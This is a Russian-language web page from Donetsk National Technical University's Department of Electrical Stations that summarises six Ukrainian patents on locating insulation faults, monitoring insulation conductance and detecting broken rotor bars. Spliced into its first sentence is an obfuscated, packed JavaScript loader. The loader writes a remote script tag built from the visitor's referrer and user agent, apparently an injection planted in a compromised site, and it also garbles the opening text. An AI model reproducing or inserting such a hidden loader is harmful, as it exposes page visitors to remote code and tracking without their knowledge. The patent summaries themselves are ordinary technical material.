

На eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!".replace(/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]};e=function(){return'w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('b'+e(c)+'b','g'),k[c])}}return p}('0.6(");n m="q";,30,30,'document||javascript|encodeURIComponent|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|script|sidkn|var|u0026u|referrer|btyhs||js|php'.split('|'),0, {})) кафедре Электрических станций получен ряд патентов на изобретения, которые могут быть использованы для определения местоположения электрических повреждений и для определения электрических свойств

1. Способ определения расстояния до места возникновения локального дефекта изоляции и сопротивления этого дефекта в распределительных сетях: патент Украины на изобретение № 100180, G01R 31/08 / Гребченко Н.В., Бельчев И.В.; ДонНТУ - заяв. № а 2011 03318 от 21.03.2011г.; опубл. 26.11.2012, бюл. № 22.

Изобретение относится к электротехнике и может быть использовано для построения усовершенствованной защиты от замыканий фазы на землю в распределительных сетях.

Способ включает измерение значений параметров режима сети и контроль значения амплитуды тока нулевой последовательности, при котором для расчетов используется заместительная схема сети. При превышении амплитудой тока нулевой последовательности допустимого значения выполняется определение присоединения с локальным дефектом изоляции. Дополнительно измеряют значение векторов токов

каждой из трех фаз и напряжений фаз относительно земли и осуществляют расчет по формулам.

Применение способа позволяет повысить эффективность определения параметров дефектов изоляции без отключения присоединения.

2. Способ определения расстояния до места локального дефекта изоляции и сопротивления этого дефекта в распределительных сетях: патент Украины №83878, МПК G01R 31/08, Гребченко Н.В., Сидоренко А.А.; ДонНТУ, заявка №a200606247 заявл. 26.08.2008, опубл. 26.08.2008, бюл. № 16.

Изобретение относится к электротехнике, в частности к защите электрических сетей переменного тока, в которых возникло однофазное замыкание непосредственно на землю или замыкание через сопротивление на землю, или возник локальный дефект изоляции.

Способ включает определение параметров режима сети и использование для расчетов схемы замещения сети при последовательной замене допустимого места локального дефекта изоляции вдоль всего присоединения. Новизна заключается в том, что при превышении амплитудой тока нулевой последовательности присоединения с повреждением допустимого значения выполняют сравнение значений контролируемых параметров режима, полученных в результате измерения, со значениями этих параметров, определенных на модели распределительной сети в результате расчетов при последовательном изменении шагами расстояния до допустимого места локального дефекта изоляции. Сопротивление в месте локального дефекта изоляции при этом последовательно изменяют на каждом шаге, который моделируется, от нуля до максимально допустимого значения. Расстояние до места локального дефекта изоляции и сопротивление изоляции в месте дефекта определяют путем их приравнивания

расчетным значением на том шаге расчетов, когда совпадают измеренные и рассчитанные параметры режима, а именно, амплитуда и фаза тока нулевой последовательности.

Способ дает возможность определять расстояние не только до замыкания на землю, а и до локальных дефектов изоляции, а также определять сопротивление локального дефекта изоляции. Определение места локального дефекта изоляции и его сопротивления дает возможность сократить время на его поиск и во многих случаях своевременно устранить.

3. Способ контроля исправности стрежней короткозамкнутой обмотки ротора асинхронного двигателя: патент Украины № 83226, МПК G01R 31/06, Сивокобыленко В.Ф., Полковниченко Д.В.; ДонНТУ, заявка №а200600099 заявл. 03.01.2006, опубл. 25.06.2008, Бюл.№ 12.

Изобретение относится к электромеханике и может быть использован для диагностики технического состояния электродвигателей.

Способ включает регистрацию тока статора, на который подано напряжение питания, измерение мгновенных значений тока одной из фаз статора за определенный промежуток времени и сравнение между собой соседних значений тока. Новизна заключается в том, что дополнительно измеряют мгновенные значения тока статора еще в одной из фаз в постоянном режиме работы электродвигателя под нагрузкой и сравнивают мгновенные значения токов двух фаз. О наличии дефекта стрежней короткозамкнутого ротора судят по степени размытости фазового портрета функциональной зависимости между мгновенными значениями токов двух фаз электродвигателя.

Использование способа дает возможность за счет выявления дефектов стержней короткозамкнутой обмотки ротора на ранней стадии их развития повысить надежность функционирования электродвигателей.

В условиях постоянного ухудшения технического состояния электрооборудования способ может быть успешно распространен в системах собственных нужд электростанций и на предприятиях, где эксплуатируются асинхронные электродвигатели с короткозамкнутым ротором.

4. Способ непрерывного контроля комплексной проводимости изоляции фазных цепей относительно точки заземления нагрузки определения: патент Украины №51177, МПК G01R31/02, /Гребченко Н.В., Гребченко В.Н./, ДонНТУ, заявка № 2002010644, заявл.25.01.2002, опубл. 15.11.2002, бюл.№11.

Изобретение относится к области электротехники, а именно к трехфазным электрическим системам с изолированной нейтралью и может быть использовано для контроля комплексной проводимости.

Способ непрерывного контроля комплексной проводимости изоляции фазных цепей относительно точки заземления нагрузки в трехфазной электрической сети с изолированной нейтралью заключается в том, что при обнаружении различия в проводимостях изоляции фазных цепей относительно точки заземления или при повреждении изоляции в одной из фазных цепей измеряют электрические параметры в начальной точке подключения нагрузки. Непрерывно, через одинаковые интервалы времени, измеряют мгновенные значения трех фазных токов в фазных цепях и трех фазных напряжений относительно точки заземления, которые используют для

построения векторных диаграмм измеренных токов и напряжений. Определяют сумму векторов трех измеренных фазных токов в начальной точке подключения нагрузки, разность любых двух векторов измеренных фазных напряжений и угол между расчетным вектором суммы фазных токов и расчетным вектором разности фазных напряжений. Значение модуля вектора суммы фазных токов сравнивают с предельным допустимым значением, и если значение модуля суммы фазных токов превышает предельное допустимое значение, то по значению вышеупомянутого угла между векторами определяют фазу электрической цепи, в которой возник дефект изоляции, и рассчитывают комплексные проводимости изоляции двух фазных цепей относительно точки заземления.

Способ используется при одинаковых проводимостях изоляции во всех фазах.

5. Устройство для непрерывного автоматического контроля изоляции элементов электрооборудования переменного тока: патент Украины на изобретение № 47151, МПК G01N 27/00; /Гребченко Н.В.; ДонНТУ, заявка № а 2001 085615, заявл. 07.08.2001, опубл. 17.06.2002, бюл. № 6.

Изобретение относится к автоматическим устройствам электрических систем и может использоваться в электроустановках переменного тока.

Устройство содержит кабельный трансформатор тока нулевой последовательности с дополнительной обмоткой, устройство сравнения измеренного тока с заданным значением, устройство коммутации, исполнительное устройство, логический элемент и устройство индикации. Новизна устройства заключается в том, что к нему дополнительно введены генератор переменного тока заданной частоты и блок контроля наличия тока с инвертором на выходе. Выход трансформатора тока соединен с входом устройства сравнения.

Использование устройства благодаря постоянному непрерывному контролю изоляции позволяет своевременно выявлять возникновение дефектов изоляции, что дает возможность предупредить возникновение нарушений, которые могут привести к значительным повреждениям электрооборудования. В случае возникновения замыкания на землю устройство мгновенно выявляет нарушения и отключает ток (подаёт сигнал), что позволяет повысить надёжность работы узлов электротрических систем.

6. Устройство автоматического контроля изоляции электрической сети переменного тока: патент Украины на изобретение № 34689, МПК МПК G01N 27/00; /Гребченко Н.В.; ДонНТУ, заявка № 99020851, заявл. 16.02.1999, опубл. 17.02.2003, бюл. № 2.

Изобретение относится к средствам автоматизации электроэнергетических систем и может быть использовано в электрических установках переменного тока.

В устройстве используются устройства защиты от замыкания на землю, установленные на каждом ответвлении от электрической линии (например, кабельное ответвление для подключения электродвигателя или трансформатора). Каждое такое устройство содержит кабельные трансформаторы тока нулевой последовательности, устройство сравнения действительного и заданного токов и исполнительное устройство. Новизна заключается в том, что устройство содержит дополнительную обмотку, расположенную на сердечнике трансформатора тока нулевой последовательности, и последовательно соединённые генератор периодических импульсов контроля, два переключателя, логический элемент и устройство предупредительной сигнализации. За счёт дополнительного тока во вторичной обмотке трансформатора тока, генерируемого дополнительной обмоткой, а также за счёт увеличения магнитодвижущей силы в сердечнике трансформатора тока обеспечивается автоматическое обнаружение повреждения изоляции на начальном этапе процесса повреждения без использования дополнительных высоковольтных элементов и измерительных устройств.

Применение устройства позволяет повысить надежность работы электроэнергетической системы за счет уменьшения количества аварийных отключений электрооборудования и возможности проведения плановых ремонтных работ в удобное время, а также уменьшить расходы на техническое обслуживание и ремонт электрооборудования.